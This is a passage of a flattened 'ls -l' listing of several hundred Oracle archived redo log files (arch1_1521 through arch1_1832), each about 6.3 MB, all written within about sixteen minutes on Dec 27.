1 oracle oinstall 6.4M Dec 27 22:14 arch1_1521_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1522_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:14 arch1_1523_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1524_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:14 arch1_1525_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1526_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1527_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1528_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1529_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1530_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1531_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.2M Dec 27 22:14 arch1_1532_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1533_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1534_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:14 arch1_1535_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 22:14 arch1_1536_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1537_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1538_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1539_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1540_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1541_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1542_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1543_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1544_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1545_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1546_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1547_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1548_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1549_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1550_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1551_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1552_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1553_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1554_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1555_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:15 arch1_1556_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1557_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1558_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1559_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1560_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1561_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1562_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1563_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1564_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1565_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1566_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1567_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1568_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1569_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1570_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1571_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1572_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1573_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1574_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:16 arch1_1575_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1576_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1577_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1578_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1579_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1580_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1581_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1582_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1583_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1584_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1585_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1586_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1587_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1588_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1589_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1590_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1591_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1592_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1593_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:17 arch1_1594_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.8M Dec 27 22:18 arch1_1595_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:18 arch1_1596_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1597_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1598_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:18 arch1_1599_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 22:18 arch1_1600_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1601_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 22:18 arch1_1602_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:18 arch1_1603_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1604_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1605_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1606_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1607_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1608_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1609_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1610_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1611_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1612_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:18 arch1_1613_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1614_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1615_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1616_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1617_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1618_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1619_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1620_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1621_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1622_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1623_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1624_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1625_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1626_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1627_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1628_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.6M Dec 27 22:19 arch1_1629_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.5M Dec 27 22:19 arch1_1630_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1631_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:19 arch1_1632_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1633_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1634_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 22:20 arch1_1635_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1636_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1637_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1638_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1639_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1640_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1641_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1642_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1643_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1644_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1645_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1646_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:20 arch1_1647_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1648_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1649_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:20 arch1_1650_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 22:20 arch1_1651_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.1M Dec 27 22:21 arch1_1652_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.9M Dec 27 22:21 arch1_1653_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1654_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1655_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1656_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1657_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:21 arch1_1658_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1659_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1660_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1661_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:21 arch1_1662_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1663_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.4M Dec 27 22:21 arch1_1664_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:21 arch1_1665_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1666_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1667_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1668_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1669_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:21 arch1_1670_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:22 arch1_1671_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.2M Dec 27 22:22 arch1_1672_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1673_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 22:22 arch1_1674_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:22 arch1_1675_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1676_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.4M Dec 27 22:22 arch1_1677_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1678_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1679_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1680_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1681_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.9M Dec 27 22:22 arch1_1682_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1683_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1684_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1685_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1686_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1687_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1688_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:22 arch1_1689_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:22 arch1_1690_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1691_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1692_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1693_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1694_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1695_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1696_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1697_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1698_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1699_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1700_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1701_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1702_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1703_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1704_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1705_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1706_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1707_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1708_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:23 arch1_1709_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1710_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1711_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1712_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1713_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1714_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1715_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1716_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1717_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1718_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1719_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1720_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1721_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1722_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1723_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1724_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1725_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1726_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1727_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:24 arch1_1728_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1729_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1730_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1731_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1732_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1733_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1734_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1735_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1736_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:25 arch1_1737_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1738_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1739_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1740_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1741_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1742_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1743_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1744_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1745_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:25 arch1_1746_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:25 arch1_1747_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1748_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:26 arch1_1749_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1750_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1751_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1752_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.7M Dec 27 22:26 arch1_1753_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1754_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1755_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1756_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 22:26 arch1_1757_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.2M Dec 27 22:26 arch1_1758_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1759_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1760_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1761_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1762_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1763_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1764_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1765_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:26 arch1_1766_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1767_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1768_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1769_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1770_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.2M Dec 27 22:27 arch1_1771_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1772_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1773_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1774_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1775_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1776_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1777_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1778_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1779_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1780_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1781_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1782_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1783_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1784_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1785_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:27 arch1_1786_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1787_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1788_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1789_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1790_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1791_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1792_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1793_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1794_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1795_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1796_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1797_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1798_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1799_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1800_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1801_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1802_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1803_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1804_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:28 arch1_1805_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1806_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1807_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1808_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:29 arch1_1809_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1810_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:29 arch1_1811_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1812_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1813_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1814_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1815_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1816_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1817_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.9M Dec 27 22:29 arch1_1818_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1819_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1820_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1821_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 22:29 arch1_1822_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 22:29 arch1_1823_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:29 arch1_1824_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1825_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1826_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1827_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1828_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1829_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1830_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1831_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 arch1_1832_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 22:30 